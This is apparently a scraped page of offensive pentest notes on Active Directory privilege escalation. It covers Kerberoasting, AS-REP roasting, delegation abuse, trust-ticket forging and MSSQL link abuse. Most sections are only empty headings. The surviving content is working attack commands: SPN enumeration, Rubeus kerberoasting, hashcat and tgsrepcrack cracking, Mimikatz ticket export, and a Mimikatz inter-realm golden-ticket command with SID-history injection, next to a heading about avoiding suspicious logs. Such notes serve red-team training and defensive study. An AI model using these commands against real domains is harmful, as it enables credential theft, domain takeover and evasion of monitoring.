Escalation
Kerberoasting
Finding Service Accounts
Get-NetUser –SPNGet-ADUser -Filter {ServicePrincipalName -ne "$null"} Properties ServicePrincipalNameRequest TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" Request-SPNTicket Exporting / Cracking
# Roast
Rubeus.exe kerberoast /simple /nowrap [/user:USER] [/domain:DOMAIN] [/dc:DC]
# Crack
hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force# Check they have been granted:
klist
# Export using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Crack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\240a10000-student.kirbi AS-REP Roasting
Finding Accounts with Kerberos pre-auth disabled
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuthForce Disable kerberos preauth
ASREPRoast
SetSPN - Targeted Kerberoasting
Enumeration
Setting SPN (must be unique for domain)
Extraction and cracking same as kerberoasting.
Unconstrained Delegation
Enumeration
Compromise server then wait, or use printer bug with Rubeus Listening
Export tickets and steal DA
Constrained Delegation
Enumeration
Getting Ticket
Need NTLM hash or clear creds for the user with constrained delegation
Resource Based Constrained Delegation
Enumeration
Adding New Computer Object
Set RBCD on target
Control Target
LAPS Abuse
Enumeration
Abuse
Just Enough Administration (JEA) Abuse
JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.
Enumeration
Abuse
PowerShell Web Access (PSWA) Abuse
Enumeration
Abuse
Configure for Persistance
Windows Subsystem Linux (WSL) Abuse
Enumeration
Abuse
Windows Device Guard Bypass
Enumeration
Bypass
DNSAdmins
Enumeration
Abuse
Microsoft Exchange Abuse
Enumeration
Abuse
Cross-Domain Trust Tickets
Get Trust Key
Forging Inter-Realm TGT
Command
Function
Kerberos::golden
Mimikatz Module
/domain:DOMAIN.LOCAL
FQDN of the current domain
/sid:S-1-5-21-166606631-311152063-538504511
SID of the current domain
/sids:S-1-5-21-282224878-1496977734-700767426-519
SID of the enterprise admins group of the parent domain
/rc4:HASH
RC4 of the trust key
/user:Administrator
User to impersonate
/service:krbtgt
Target service in the parent domain
/target:TARGETDOMAIN.LOCAL
FQDN of the parent domain
/ticket:C:\AD\Tools\kekeo\trust_tkt.kirbi
Path where ticket is to be saved
Get TGS for Service in target domain (CIFS below, but could be LDAP, HOST and HTTP) using trust ticket
Use TGS to access service in target (may need to use twice)
Cross-Domain using krbtgt Hash
Create Ticket Abusing SID History
In the above command, the mimkatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.
Use Ticket
Avoiding suspicious logs
Cross-Forest Trust Tickets
Get Trust Key
Creating inter-forest TGT
Using inter-forest ticket to request TGS
Use TGS
MSSQL Trust Abuse
PowerUpSQL: https://github.com/NetSPI/PowerUpSQL
Finding MSSQL Instances
Enumerating Database Links
Enabling xp_cmdshell if rpcout is enabled (disabled by default)
Executing Commands
PAM Trust
PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.
Enumeration
Abuse
Last updated
Was this helpful?